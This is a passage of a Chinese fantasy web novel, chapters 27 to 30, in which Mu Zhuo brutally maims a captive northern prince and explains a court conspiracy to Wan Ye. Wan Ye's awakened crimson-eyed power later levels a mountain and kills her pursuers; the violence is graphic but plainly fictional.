当然啊。
朦胧中她似乎想起了以前一个活不下的小可怜……
“慕酌大人,我们在谈一个合作怎么样?”晚风簌簌地响,夜风裹挟着荒野特有的泥土腥气。
马车上的人又说话了,慕酌垂眸盯着膝头,指尖无意识摩挲着衣角,将暗纹锦缎揉出细密的褶皱,他倒是醒着,不过没有答话。
“我知道你是有大抱负的人,我们北国若是我登基,保证不会侵犯你们南国的边界,另外,
要是有一天用得着我的地方,我一定在所不辞。”
这话听着倒是漂亮,慕酌心里清楚不过是些场面话,索性抿唇不再理会。
但后来那句确实恶心到他了。
那腌臜字句裹着虚伪,偏生要往人的心尖上泼脏水,当真是污了这满室的月光。
那被困的皇子居然一脸阴笑,带着喉咙里的绳子吐字不清,喉间的锦绳陷进皮肉里,勒出深紫的淤痕。他每吐一个字,绳索便随着喉结滚动而收紧,漏出的话音碎成气音。
“我知道你可能不喜欢男的,北国这风气你们南国不喜欢,,但是你敢说你身边这个,你一点想法没有?”
“不止这个就连那个小孩北国也可以给你养着……”
这话一出,他瞳孔骤缩,原本交叠的膝头猛地一掀,锦被如浪般翻卷落地。
慕酌再也忍不了,下一刻,人已如离弦之箭欺近,迅速地过去,"啪!啪!"两声脆响震得梁上浮尘簌簌,在李胜脸上扇了几巴掌,骨节分明的手掌扬起时带起破空锐响,那半边脸颊瞬间腾起五指红痕。
接着拳拳到肉,屡屡带风,径直地把那双本来就断的腿弯折了几下,露出骨头缝碎块的另一截断肢。未等对方惨叫出口,慕酌膝弯一沉,膝盖已狠狠顶住其肩胛骨。拳头裹挟着风雷之势砸落,指节碾过面骨的脆响混着闷哼在殿内炸开——左颊、下颌、鼻梁,溅起的血沫糊了他半片衣襟。
忽的,他停手攥住那人脚踝,骨节在掌心发出"咯吱"哀鸣,被玄铁锁链锁着的断腿本就缠着腐肉,此刻竟被他生生掰向反折角度。
"咔嚓!"
脆响过后,撕裂的裤管里爆出一截白森森的骨茬,断裂处还沾着几星暗红筋肉,碎骨块混着脓血顺着裤脚滴在青砖上,砸出一朵朵腥甜的花。
27. 你喜欢?
李胜脸上浮现痛苦地表情,面颊骤然抽紧,可那痉挛的纹路尚未爬满眉骨,便又像被无形的手熨平般缓缓松弛下来,连带着呼吸里压抑的呻吟都弱成了游丝。
当他垂眸望向自己躯体时,那些正不断砸落的血色块伴随着骨骼闷响,却让他瞳孔里的光越来越亮。
突然,他喉咙里挤出一串破碎的气音,转瞬便炸开成癫狂的大笑。
那笑声在深夜里拧成毒蛇般的颤音,既像生锈的铁门碾过石板,又似腐肉在沸水里翻涌,每一个音符都裹着血沫星子,随着他因狂笑而剧烈起伏的胸膛,将溅在唇角的暗红液体抖落在层层叠叠的瘀伤上。
那些不断殴打他的血色块仿佛成了某种荒诞的伴奏,让他在疼痛与快感的交界线上,笑成了一滩在阴影里抽搐的猩红墨迹。
深夜里恐怖诡异又恶心的笑声。
声音太大,宛楪被吵醒,看着声音源头扭曲成一团地黑色东西,她向旁边看去,没有慕酌的身影。
下意识地,她皱了皱眉头,之后起身向马车那团黑影处走过去。
走进了才看见那是怎样的景象,北国那位皇子四肢卷曲着,以违背生理的角度扭曲着:左腿膝盖反向抵着后腰,指尖几乎戳进后颈的皮肉,每一寸骨骼的错位都在皮肤上顶出青紫。
那些未愈合的创口还在渗出黏稠的液体,将身下的稻草染成深褐的地图。
最骇人的是那副"不人不鬼"的模样——头颅以近乎九十度的角度歪向一侧,半张脸埋在膝间,只露出的半只眼睛空洞地瞪着地面。
不人不鬼。
这是宛楪第一时间看到的想法,残留着血痂带着恶臭的腥味,卷席这秋天萧瑟地腐败,让宛楪直接捂住了鼻子。
不过李胜似乎已经感觉不到痛了,只一味地癫狂的笑,笑声惊动了林中的鸟,径直地反方向的飞走。
宛楪看向慕酌,往他身边走进了些,注意到他手上地锋利石块,上面满沿着血迹。李胜脖子上似乎蜿蜒着也是这样的血迹。
宛楪凑近,看见了那狰狞的伤疤,颈侧的皮肤被撕开道狰狞的口子,伤口从下颌角下方开始,如毒蛇吐信般斜斜划过喉结,蜿蜒到身前锁骨的位置,豁开的喷溅的血。
宛楪眼睛染上惊恐,回头看向慕酌,他此时宛若一座杀神,他染血的衣摆宛如死神展开的披风。半边脸浸在阴影里,只有额前垂落的湿发间,一双眼睛亮得骇人。
他就那样立在血泊与阴影的交界处,周身散发出的煞气几乎凝成实质,连空气都因这股暴戾的气息而微微震颤。被无形的气流卷着狂舞,发梢甩动时带起的血滴,散乱着舞动在周围。
“你……这是……发生什么了?”
在她睡着的时候,李胜这个对慕酌具有利用价值的人,几个时辰前这人还跟慕酌讨价还价,眼下却以一种极不自然的姿势歪在马车上,就这么快的要惨死在这。
明明一开始她动怒的时候慕还很冷静地拦着她。
那时他语气平稳得像一潭深不见底的寒水,低声劝她"留着活口更有用"。
到底怎么了?!
宛楪脸上带着惊慌,还有一丝疲惫。
“他必须死。”慕酌的声音在她身后响起。
宛楪回头,一脸疑惑,她迫切的需要一个解释。
“早些时候他和我们合作,演了一出好戏。赤魔赤链,一字之差。若是赤链蛊,心脏不断勒紧的痛苦,帮助他或许真的心存感激。”
晚上山林里萧瑟着,宛楪静静地站在那听慕酌讲话。
“赤魔,一个连人性都随着痛苦消失的东西,就算是咱们一起到了北国,他也绝不会成为合作伙伴,就算他有心这样做,赤魔的药效也会迫使他杀了帮助自己的人。”
宛楪听着他的话,心里一阵寒凉,人类的手段真是……
残忍。
不过接下来的话才让她瞠目结舌。
“你当时让我继续说下去,我没有,在思考他到底药性几分。毕竟最信任最关切的人,不多含有他的兄弟,甚至他的母妃。”
宛楪的眼睛瞬间放大,母妃?!
他的母妃不就是那个让他跪在营帐上,痛苦地说一定要救出来的对他很重要的人吗?
现在慕酌却告诉她,他的母妃,他最关切之人,和上次截断的话题有关。
宛楪的脑子有些乱,她有些无措的看着慕酌,希望得到更详细的解释。
慕酌没有辜负她的期望,把事情原原本本给她剖析了一下。
“你还记得咱们遇到的撒谎人吗?”
“正常情况下,撒谎人这种傀儡需要的是人群多的地方,方便人多作乱截获钱财。但是荒郊野岭我们只有三个人,却有那么多傀儡人围追堵截。这只能是有人故意授意的。”
宛楪没听过撒谎人的名讳,来到人类世界这么久,还是这一次遇险才认识他们。
人类世界复杂程度,或许超出了她的认知。
慕酌伸出两根手指,“我们只有两个人。”
“为了避免目标过大,所以咱们没有带别人。没有人知道咱们的行踪,但为什么会遇到北国皇室都奈何不了的‘撒谎人’呢?那就只有一种可能,他们是冲着这位皇子殿下去的。”
“北国皇室奈何不了的人物,出现在这里,而他却没有丝毫恐惧,甚至觉得咱们两个死到临头,哪怕折断骨头也要拉垫背。”
慕酌坐了下来,黑色狐裘大衣铺在地上,在隐约的月光下形成一片暗色的影子。
“要么就是他觉得撒谎人不会害他,要么就真的是鱼死网破,觉得没有希望,死前带走两个也好。你觉得,是哪一种?”
冷不丁被提问,宛楪有些懵。她沉浸在慕酌的话里,既钦佩又震撼。
“我……我不知道。我更倾向于他觉得那些人不会害他。”
宛楪抬头,看着慕酌罕见貌美的样子,魅惑的狐狸眼在月光下竟带着几分清冷,不食人间的感觉。
那一刻,换成一个人或许已经陷进去,恨不得把自己的生命都给这样一个天仙般的人。
宛楪眨了眨眼,硬是把自己的头扭了过去。这人再好看,也是蛇蝎心的,她若是因为漂亮的外貌忽略其内心的可怕,她怕是离死不远。
月光下慕酌的脸愈发显得勾人,风带着沙砾抚过,眼尾腥红,可
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偏偏里面全是冰冷和嗜血,让人感到无尽无边的恐怖。
“我好看吗?”
又是突然的问题,宛楪更是不知所措。她怀疑这个人有读心术,自己刚才肺腑他长得好看确实毒蛇的心。
这个时候问他好不好看?
好看。宛楪心里回答了一句,但是面上不显,随口敷衍着,“你觉得好看就是好看?”
“切。”
宛楪把头转过去,少年漂亮的样子在树的阴影里模糊,树叶摇动,也像是不同框选的重点,来到每一处都没有瑕疵的地方。但是宛楪看见,他在笑!
不是那种阴狠的笑,笑笑就要把你弄死。而是那种真的开心,窃喜的笑。
像是喜欢的姑娘喜欢自己,被知道的那种偷偷的侥幸的,甚至带着十几岁孩子该有的傲娇,那种娇嗔的笑。
这对吗?!
不过这样的慕酌是真的好看,比那种带着威胁和恐怖气息的好多了,更阳光,更明美。
“你告诉我,我的外貌在你眼里是怎么样的,我呢,把剩下的想法都告诉你。”少年在那坐着,姿势随意,像是在打趣一样。“你觉得怎么样?”嘴角又带上了那种开心的胜券在握却又很温柔的笑。
宛楪移开眼睛,她承认这一幕她有点看呆了。
她倒是没那么容易被迷惑,也坐下来,用书上看到的话回答,“倾国倾城,美艳动人,世间罕见,当真是绝色。”
这话用到一个男子身上很不合适,大多是夸相貌英俊,在高点就是俊美非常,这些词大多用到皇帝宠妃或者是千古绝色身上。
形容男子,有些贬义。
慕酌没生气,也没计较这些词对不对,只是又问了一句,“你喜欢?”
不知道的,这话暧昧的以为在问他喜欢的姑娘。
宛楪撇撇嘴,且不说她不上当,最关键的是,她现在还是男子身,她不会自恋的觉得慕酌的话真是那个意思。
估计是潜伏在暗处,等到她露出破绽,至于他到底要什么,宛楪也不知道,当下只有小心为上。
她避开了这个问题,直接切到要害,“我回答了你的问题,你先告诉我到底是怎么回事,至于你这个问题,不在我应该答的范围。”
宛楪目光清冷,看着远方连绵不绝的山峦,似是非常不同冷暖。
慕酌敛下眼睫,有些失落地看着地面。
不知道他在想什么。
许久,久到宛楪以为他不会理自己了。
慕酌温润的声音传来,带着些许的冰冷寒意。
“你猜的不错,之所以这李胜不害怕,是觉得那些人不会伤害自己。撒谎人,北国皇室奈何不了,本质上是因为这怪物就是他们养出来的。”
宛楪有些惊讶,她的求知欲很强,眼睛一眨不眨地看着慕酌。
“北国和南国不一样,那里天寒地冻,百姓有的时候会冻死在街上,所以民风彪悍,倒没有南国这些弯弯绕,而为了限制一些地方发展,便出现了这样傀儡的东西。什么事情解决不明白,推到这东西身上,就没人会说什么。”
慕酌顿了顿,看向远方出现一点晨光的山。
28. 信我
山林间弥漫着凌晨独有的雾气,清冷而湿润,让整个世界难得出现宁静。
“北国的皇族也不是吃素的,几十年都解决不了,是因为早就和这种江湖门派达成合作,掳走阿已的那个将军,就是撒谎人和皇族合作的产物。因为半人半鬼,所以必须吃人肉来维持理智,尤其是小孩子的肉。”
宛楪听到阿已的名字,眉头紧锁,她真的很想知道那个小孩现在怎么样了。
慕酌似乎也看出来,不像之前那样冷声冷语,“启程吧,路上你还有想知道的,我都可以告诉你。现在我们去找那个孩子,你帮我混进王都。”
慕酌站起来,衣袍随风舞动着,天上月光和阳光形成一点过渡的薄膜。
他朝着宛楪伸出手,刹那间,一只纤手轻盈覆上。指尖触及的瞬间,细腻柔滑如上好的绸缎,与他布满薄茧的粗糙掌心形成鲜明反差。
那触感恰似沾着晨露的春日花瓣,带着若有似无的暖意,温润得令人心颤。
“新的合作?”
慕酌轻笑了一下,“现在我们才是彼此最值得信任的人不是吗?”
他的笑容有些晃眼,宛楪别开头,“那他呢,就让他死在这?”
暮色里,敌国皇子李胜如残破人偶般被铁链捆缚在马车后辕。
凛冽寒风裹挟着砂砾掠过荒原,将他垂落的衣袍掀得猎猎作响,空荡荡的衣袖里,枯枝般的手臂随着颠簸的车轮晃荡。
浸透血渍的额发黏在苍白的脸上,喉间溢出的血沫凝作暗红冰晶,唯有偶尔抽搐的指尖,昭示着尚存一息的生机。
天色尚未完全亮起,黑暗中的一切都显得格外诡异,增添了几分令人毛骨悚然的惊悚气息。
“至少他很不可控,把他带着,北国皇子死了也要有个交代不是,你说现在缺不缺什么?”
“什么?”宛楪凝视着慕酌,眉间轻蹙,脸上泛起一丝不解。
却听见慕酌说了一个震碎观念的话,“你不觉得缺两个运输尸体的人吗?”
月色渐渐隐去,宛楪的脸上浮现出复杂的情绪。
她的目光中透出震惊和怀疑,身体微微颤抖,流露出害怕,而嘴角微微张开,显露出一丝诧异。
这个人,这些想法,到底怎么想出来的?!
宛楪垂眸,睫毛在眼下投出细碎的阴影,她叹口气,试图消化这个事实。
眉梢轻颤着拢起,像是将满心复杂凝成了细密的褶皱,隐入眼底翻涌的情绪深处。
嘴角下一秒露出一丝无语的笑意。
不是觉得这个方法如何,只能说,有点……
损……
山间晨雾轻笼,熹微的晨光透过薄雾洒下,两人静静享受着这凌晨时分的模糊而安宁的时光。
宛楪坐下来,坐在草地上,带着些许的潮湿。
“撒谎人。”
宛楪轻声呢喃着,“赤魔,赤链,皇室,母妃。”
慕酌看见她望着天空呆呆地样子,嘴角显出一点笑意。
“如果我说,那皇子李胜之所以变成这样,就是因为他的母妃,你会不会很惊讶?”
宛楪几乎是瞬间就瞪大了眼睛,甚至没来得及反应回答慕酌的问题。
什么?!
“赤魔蛊的本质就是被迫杀死所有对自己好的人,中蛊的人只能看着,最后在失控中死去。”
“这种蛊没有解药,但是想要中蛊也是有一定的条件,就是极端条件下,对自己信任的人背叛,然后背叛者在过来帮助他,等到心里的坎过去之后来此致命一击,这个时候再把蛊毒放到这个人身上,极大的怨念就会激发蛊里面的生物,从而共生。”
宛楪眼睛还保持着瞪大的模式,风吹过她的发梢,叶子缓缓落下,在这寂静的氛围中,她听见了自己的声音。
“那这个人一定很痛苦,为什么,为什么会……”
为什么要这么做,人类为什么会用这种方式,为什么这种事会……
慕酌看着宛楪惊恐的表情,轻轻扫开身旁的落叶,在离她较近的干净地方坐下。
夜色缓缓褪去,天边露出清晨的曙光,山间的风带着一丝微凉的气息,仿佛在轻抚着大地,带来新的一天的希望。
“当时北国发生政变,皇室贵妃地位岌岌可危,甚至于要改朝换代,不过被外臣拦了下来,这外臣是北国当时皇后的母家。”
慕酌叹了一口气,继续说道,“此后皇后一家几乎独大,皇贵妃被冠上了叛国的罪名,不过北国的皇帝舍不得她念着旧情,没有杀她。但是她的孩子,也就是李胜遭了殃,为了他能活下去,就想出了这个办法。”
天边露出白边,慕酌转头,看着宛楪发丝在空中飞舞,脸上带着一丝复杂的悲伤。
宛楪处在震惊中,嘴唇微微张开,过段时间似乎是反应过来,开口询问。
“所以……”
“就为了他活着,就让他遭受这样的事,种下赤魔蛊,短时间内提升实力?”
宛楪的声音带着颤抖,她的眼神中满是惊恐,根本无法想象,也无法接受听到的一切。
慕酌静静地看着她,眼中流露的是说不清的复杂情绪。
过了一会儿,两人陷入沉默,周围只有风声簌簌作响,显得格外刺耳。
今天的风好像有些大,或许是刚到早上的缘故,带着一丝让人不安的凛冽。
黄色的叶子卷着绿色的叶子飘落下来,眼前是落叶飞舞的场景。在这安静的环境中,慕酌闭上了眼睛,享受这份宁静。
如果……没那么多血海深仇,这样似乎也不错。
许久,宛楪似乎是冷静下来,她把手放在阳光处,眨一眨流出一些缝隙。
“走吧。”
声音轻柔温和,还带着一些心疼。
宛楪听到声音转过头,与慕酌视线相撞,少年一身黑衣,肩膀上还落着一片干枯的残缺的叶片。黄褐色的一片和那身纯黑色的衣服显得有些不入。
较好的样子映在宛楪眼中,俊俏的眉目,清冷的孤傲,现在又带着一丝破碎的怜悯,世间倒是难得见到他这样的美人。
尤其是那双桃花眼眼尾微微上挑,该是勾魂
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摄魄的风流。
此刻眉峰微蹙,眼底竟浮着一层细碎的怜悯,像薄冰映着碎光,脆弱得让人心头发紧。
宛楪望着望着,竟觉得自己要被那片深邃吸进去了,这般容貌,这般神情,当真是倾尽月色也难描摹其万一。
较好的眼眸里面是深不见底的情绪,要让人陷进去,心甘情愿走一遍他的苦,体验一下他曾经的无助,曾经绝望中的酸苦。
宛楪呆在那,她一直都感叹这个疯子长了一副好容颜。
现在眼光柔和,不似初见时的狠厉,更是让她觉得这是一幅美人书卷。
“好看吗?”慕酌温和轻柔的声音传来。
“嗯。”宛楪点了点头。
看着慕酌嘴上带着笑意,她反应过来,脸有些发烫,“咳,我是说,确实。”
“你本来就很好看。”宛楪嘟囔着一句,把头转过去。
之后不等慕酌说什么,直接站起来,拍了拍身上的灰,有些不自然,“天亮了,走吧,我们还有合作呢,不知道阿已现在怎么样了。”
提到阿已这个小孩,宛楪眼中染上悲伤,她皱了一下眉头,径直离开。
脚步声渐走渐远,也带着一丝落荒而逃。
慕酌在那个“嗯”字出来的时候嘴上就带着笑,但是慢慢的,那抹化不开的笑变成了悲痛,看着宛楪的眼神带着几分执念和复杂的痛苦。
风越来越大,卷起地上的落叶扬到天上在跌落。
天光破晓,所有的开始变得清晰,远处似乎能看到人家的炊烟,慕酌站起身,跟着宛楪的身后过去。
宛楪没有走远,只在几步开外的树影下静立。
风拂动她的衣袂,裙角在青石板上轻轻扫过,留下细碎的声响。她脸上不见悲伤,也没有方才那瞬的波澜,眉目间漾着一汪不起涟漪的静水。
只有面对一切的决绝。
两人的影子在树荫下被风推得轻轻摇晃,交错辉映。
此去山高水远,暗处的锋芒与未知的迷障早已在前方布下天罗地网,谁也说不清明日的晨光能否如约落在肩头。
可她就那样站着,仿佛将所有的忐忑与忧思都敛进了眼底深处,只留一身沉静,等一场未知的前路。
“信我,我护着你。”慕酌看着远方,对身边的人说,没有调侃,只有坚定的沉稳的像誓言的话。
宛楪没有回答好,也没有不好。只是在风声再次吹飞枝叶的时候,把话通过风声带到慕酌耳朵,一圈圈缠绕。
“我们是合作关系。”
宛楪抬腿向前,落叶纷飞,两个人的身影一前一后,走到马车处,准确的说,是残破的木车上挂着那皇子尸体的位置。
草地被鲜血浸染,发黄的颜色变成褐色,零碎着洒在地上,空气中那腥气的血味,即使是在狂风下也有丝丝痕迹。
未知,恐惧,他乡……
两人对视一眼,看到了彼此眼中的坚定和决绝,此去山高路远,他们两个是彼此最能相信的人。
除此之外,没有别人。
烬心第一卷完。
29. 红瞳再现
轰…轰……
山体在一声沉闷的巨响中骤然坍塌,千万块碎石如脱缰的野兽般在烟尘中飞舞乱窜,撞击声、碎裂声震耳欲聋。
成片的树木被裹挟着从陡峭的山坡上连根拔起,粗壮的树干在乱石间剧烈摇晃、断裂,最终随着滚滚泥石一同翻滚、拖拽,重重砸向浑浊的山底,扬起漫天尘雾。
两旁的树木急速向后掠去,枝桠刮得她手臂生疼,飞溅的石子打在脸上火辣辣的。
宛楪在颠簸的碎石堆里猛地打了个滚,呛人的泥土混着沙砾直往嘴里钻,喉咙里又干又涩。
原本还算整齐的衣服此刻已被泥浆和血渍染得斑斑点点,破烂的衣角在狂风中胡乱翻飞。头顶的碎石还在不断坠落,带着呼啸的风声劈头盖脸砸下来。
她来不及抬手遮挡,便被身后轰然倾倒的树木狠狠卷住——
粗壮的枝干裹挟着她的身体,在陡峭的山壁间疯狂翻滚,碎石与断木擦过皮肤的刺痛尚未散去。
整个人已如断线的风筝般被拖拽着飞速坠向深不见底的山坳。
要是早知道会有这么一天,她绝对不会同意慕酌当时的决定。
闭上眼睛前,宛楪这样有些愤恨地想。
她咳嗽了几声,手上灵力运转,挥开旁边挡着阻碍。绿色的灵力随风挥动着,宛楪旁边清理出一片空地。
翻涌的能力冲进喉咙,生生呛出几口断气。
“呼……”宛楪的手抚在胸腔上端,理清出自己的气息,看着远处苍凉,自身灵力在周围形成保护罩。
而远处那群人依然惦记着她的命。
山底,追杀,未知,这一切似乎都太和以前一样了。
不过唯一改变的是,她的法力回来了,这么多年她都不知道自己恢复法力的契机是什么,每次持续的时间也不一样,这次若不是突然恢复法力,恐怕自己真的会哉进这北国的魔窟。
不知道北国用了什么手段炸毁了山体,她一路滚到这里,不知道慕酌现在怎么样了。
山崩的轰鸣渐渐平息,滚落的碎石终于趋于静止,扬起的漫天尘雾也开始缓缓沉降。
就在这片狼藉的寂静中,远处的山脊线上忽然浮现出几道人影,轮廓在朦胧的尘霭里影影绰绰。
他们迈着沉重的脚步,一步一顿地从陡坡上走来,身影随着地势起伏逐渐清晰,正不紧不慢地朝着她倒伏的方向逼近。
不自量力。
一群该死的畜生!
“好厉害的逃脱的手法,若不是我人多,恐怕就让你跑了。”
为首的人穿着黑衣,拍着手慢慢走过来,“可惜,你和你的同伴看到了不该看的东西,所以你们只能死。”
他向后挥了挥手,示意那些人动手。
“你说你和你的同伴做什么不好,非要去掺和那些糟糕的事情,在客栈好好地待着,到了时间直接就走不好吗,非要多管闲事,一路追查到现在。”
那人故作高深地用恶心的腔调说话,“你和那个人是一对吧,可以啊,两个人容貌是那么般配,我都有点想让你们一直在一起了。”
来人学着宛楪手扶着胸口,做出一份十分恶心的惋惜状。
又发出一连串的诡异的恶心的笑,“绑了,先扔到地方,实在不行,送到我那让我好好舒服一下。”
方才坠崖的颠簸还未平息,宛楪趴在冰冷的石地上一阵剧烈反胃,喉咙里残留的血腥味混着泥土腥气直冲脑门,胃里翻江倒海般搅得她几乎要吐出来。
她勉强抬起头,掌心下意识凝聚起淡淡绿光,那抹微弱的绿色灵力在指尖颤了颤,却因体力不支瞬间消散。
视线模糊中瞥见那几道人影越发清晰,不知为何,看着他们步步逼近的模样,心头竟涌起的恶寒越来越严重,连带着五脏六腑都跟着抽搐起来。
还未等她缓过神,对方已率先发难。
众人瞬间缠斗在一起,宛楪掌心猛地推出一团莹绿灵力,对方被掌风震得四散飞溅。
周遭掌风裹挟着凌厉的气劲炸开,脚下的碎石被震得飞溅四射。
粗壮的树干应声断裂,带着枝叶横扫而来,卷起的沙石如利刃般割过空气,打在石壁上噼啪作响。
她足尖在断木上轻点,身形陡然拔高半尺,掌心灵力骤然暴涨成半人高的绿焰,带着草木生发的磅礴气劲轰然砸下。
为首那人举臂格挡,只听"咔嚓"一声脆响,他腕骨竟被灵力震得错位,整个人如断线风筝般倒飞出去,撞在岩壁上喷出一大口鲜血。
另一名追杀者挥刀劈来,刀刃尚未近身,便被宛楪指尖弹出的绿芒洞穿肩胛,长刀哐当落地。
“啊!”
他捂着流血的伤口跪倒在地,挣扎着想要站起却眼前发黑。
然而更多人影从烟尘中涌来,他们虽已散乱不堪被灵力灼伤了半边脸颊,结痂的伤口渗着血丝,却依旧仗着人多结成半包围圈。
"哗啦"——
一阵轻响,宛楪刚震退左侧袭来的敌人,她自己却也因力竭踉跄后退,脚跟踢到碎石。
后腰却在此时被人偷袭,她闷哼一声旋身反击,绿色灵力如莲花绽放,将偷袭者震得口吐鲜血倒飞出去。
自己却也因此后退,身形晃了晃才勉强站稳。
她在空中徒劳地想再次凝聚灵力,指尖却只漾开几缕微弱的绿芒。
“砰——”
一声震耳欲聋的巨响炸开,她像是被抛射的石块般狠狠砸在山洞岩壁上,浑身骨头都像散了架。
喉头一阵腥甜涌上,一口血沫喷溅在冰冷的石壁上,混着消散的绿色灵力光点缓缓滑落。
高强度加上刚恢复法力,还是不太适应。
破碎的衣衫下,伤口被震得撕裂般疼,她蜷缩着身体,掌心的绿光微弱得几乎看不见。
还没来得及撑起身体,洞外便传来急促的脚步声。追杀的人如饿狼般紧随而至,刀锋划破空气的锐响刺入耳膜。
他们踩着满地断枝冲进来,靴底碾过碎石的咯吱声格外清晰。
浓重的血腥味混着尘土气息在狭小的山洞里迅速弥漫,与洞壁渗出的潮湿水汽纠缠在一起,压得人几乎喘不过气。
“有点意思,这是什么,新研究出来的术法?这么有意思的人,该来到我的麾下做事!”恶心油腻的声音带着尖细,传进宛楪
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耳朵里。
“不要伤了他,那张漂亮的小脸蛋,还有这一身本领,我要他!抓活的!”一阵“斯哈”的声音让宛楪觉得真真是要吐出来。
“呕——”
宛楪压下恶心,听着那人不断的话,解决旁边涌过来的人,那些人死的死伤的伤,却不断过来,模糊间还要听着那沼渣的刺耳声音在耳边不断恶心。
“还有那个小白脸,一起一起,都做成我喜欢的炼药人!”
恶心,恶心死了!
宛楪的眼眸在霎时间染成猩红,血色瞳孔中翻涌着妖冶的光,又藏着几分令人心悸的诡异未知。
仿佛有暗潮在那片猩红里无声涌动,连空气都似被这突如其来的红染上了几分神秘的寒意。
几乎是同一瞬,她脸上的神情也骤然变幻——
一抹诡异的微笑悄然漾开,眼底却浮起近乎桀骜的自信,更交织着几分对生死的漠然与漫不经心的玩味,仿佛眼前的一切悲欢离合,都不过是她指尖轻捻的一场游戏。
那笑容里藏着说不清的疏离与掌控感,连唇角扬起的弧度都带着种令人脊背发凉的从容。
“去死——”宛楪冷冷地吐出这句话。
掌心中赤红的风骤然翻卷如狂澜,裹挟着势不可挡的威压朝洞口围聚的人群倾轧而去。
那些人尚未反应过来,便被这股狂暴的力量狠狠攫住,身体如被无形巨手抛甩,在半空中划出急促的弧线,又重重撞向远处的树木。
只听“咔嚓”脆响接连炸开,树干应声断裂。
木屑与碎叶混着飞溅的尘土漫天扬起,而被卷飞的人影早已在这毁灭性的冲击中碎成了模糊的齑粉,连一声惨叫都来不及溢出喉咙。
那红色的风却未停歇,依旧在掌心盘旋嘶吼,仿佛刚吞噬完猎物的凶兽,散发着灼人的戾气。
漫天木屑在狂风中打着旋坠落,紧接着,整座山的山石仿佛被无形巨力连根拔起,裹挟着雷霆之势轰然崩裂。
“轰隆——”一声震彻天地的巨响炸开,山体从顶端开始层层垮塌,巨大的裂谷如狰狞的伤口在地面蔓延。
数以万计的碎石、泥土与断裂的岩块呼啸着冲向天际。
刹那间,滔天土尘如黑色的怒涛从地面喷涌而起,遮天蔽日地吞噬了天光,在半空凝聚成翻滚的巨云,连日光都被这浓得化不开的尘幕彻底隔绝。
狂风卷着飞沙走石肆虐天地,碎石如冰雹般砸向四方,尘土弥漫到数十里外,连空气都变得浑浊呛人。
“啊——”
有人被石块砸中额头,鲜血瞬间糊住眼睛,踉跄着向后倒去视线所及之处只剩一片昏黄,嘶哑地喊着:
“这怎么可能……她明明快撑不住了!”
这场由崩塌引发的浩劫并未止步,震耳欲聋的轰鸣中,大地持续震颤,裂动顺着山脉向远处蔓延。
追杀者们脚下的土地突然开裂。
“不可能!他不过是个普通人,怎么会有这么大的力量!!”
绝望的呼救声被轰鸣吞没,他们望着那道在乱石中屹立的身影,看着宛楪眼底妖冶的血色与周身翻涌的灵力,脸上写满不可置信。
30. 后悔
嘶吼声还未落地,便被崩塌的山体彻底吞没。
他们至死都想不通,这个方才还在乱战中踉跄后退的一个小兵,体内竟藏着掀动山河的恐怖力量。
那抹在血色瞳孔中跳动的微光,成了他们生命尽头最惊悚的烙印。
这场由崩塌引发的浩劫并未止步,震耳欲聋的轰鸣中,大地持续震颤,裂动顺着山脉向远处蔓延,所过之处草木尽毁、沟壑纵横。
那遮天蔽日的黑尘巨云随着气流扩散,竟如瘟疫般席卷开来,短短片刻便波及南北两国大半省份。
天地间只剩下一片昏天黑地的混沌,连风声都带着碎石摩擦的尖利嘶吼,仿佛整个世界都在这场崩塌中摇摇欲坠。
“呵。”
一声轻笑从唇间溢出,带着刺骨的寒意,在漫天崩塌的轰鸣中显得格外清晰。
宛楪静立在尘埃与碎石翻飞的风暴中心,猩红的瞳孔映着远处天崩地裂的惨状,眼底却无半分波澜,只翻涌着彻骨的冰冷与毫不掩饰的杀意。
那目光扫过被尘雾吞噬的天地,像在审视一场早已写好结局的闹剧。
“人类,”她缓缓开口,声音轻得几乎要被风声撕碎,却带着淬毒般的嫌恶。
“真是既奇怪又恶心的生物。”
话音落下时,掌心那抹赤红的风又低低嘶吼了一声。
仿佛在应和她的话语,将周遭最后一丝属于“生”的气息彻底绞碎在崩塌的尘埃里。
途经此地的行客恰逢这场剧变,却被突如其来的地动山摇惊得驻足。
他本是沿着山路赶路,抬头便望见远处山峦崩摧、黑尘蔽日的骇人景象。
只一眼,那天地倾覆般的异象便如重锤砸在心头,他顿时被吓得魂飞魄散,双腿一软竟手脚冰凉地瘫坐在地,连牙齿都控制不住地打起颤来。
那遮天蔽日的黑尘巨云、震耳欲聋的崩塌轰鸣,以及远方天际隐约可见的飞沙走石,无一不在诉说着这场灾难的恐怖。
消息如长了翅膀般顺着风势疯长。
不过半日功夫,“天降巨灾,山峦崩摧”的传言便如潮水般席卷了南北两国的城镇乡野。
无人知晓这场浩劫的源头,只当是上天降罚的异象,官府文书加急传递,百姓奔走相告,恐慌在每一寸土地上蔓延——
这场被仓促定性为“天灾”的浩劫,已在无形中将两国的命运都拖入了混沌的阴影。
轰然巨响震得天地摇晃,冲天火光将半边天幕染成猩红。
巨大的爆破将宛楪卷入其中,被倾斜的山石埋进去,吞噬。
裹挟着滚烫的气浪将宛楪狠狠掀翻,她尚未看清飞扑而来的阴影,便被倾颓的山岩死死压住——
棱角锋利的巨石砸断了手腕,滚烫的砂砾灌进耳鼻,窒息感如潮水般涌来,意识在剧痛与黑暗中反复沉浮。
不知过了多久,眼皮上的沙石簌簌滚落,刺目的天光漏进缝隙。
宛楪费力地掀开黏着血污的眼睫,模糊的视线里,一道背着竹筐的身影正踏着碎石靠近。
“你……你没事吧?”
宛楪的身体被晃了晃,随即再也支撑不住,眼前逐渐变成黑暗。
好累啊……
慕…酌……
宛楪的意识彻底沉入无边无际的黑暗,像是被无形的潮水拖进了万丈深渊。
或许那双被巨石压碎的手早已冰冷,或许胸腔里的血早已流尽,她只是被困在这片永恒的黑暗里。
连“活着”还是“死了”的界限,都变得模糊而遥远。
这一切的开端,要追溯回十天前。
宛楪终究还是点头应下了慕酌那个看似荒诞不经的提议——
以忠心耿耿的帝国士兵之名,将那具本不该出现在此处的躯体,小心翼翼地运回北国皇都。
他们是忠心耿耿的士兵,怕被奸人所害,特从小路将人运回来。
二人将当时李胜被擒时搜到的珠宝盖在他身上,又寻来些木材,制成几块简易的棺材板,待木板拼接妥当,便将人抬入其中,就这么出发了。
阿已是前天出的事,今天启程,不知道那个小孩现在怎么样了。
宛楪眉梢愁绪化解不开,天边的云变成薄薄一层,就是不知道为何天气如此变换,今日居然刮这么大的风。
前些天的日头实在太过妖异,那阳光亮得不像天光,倒像淬了毒的银刃,直刺得人睁不开眼。
走在日头底下,像是钻进了滚烫的毒液,浑身的皮肉被晒得发软发黏,连骨头都要被那毒日头晒得酥成粉末。
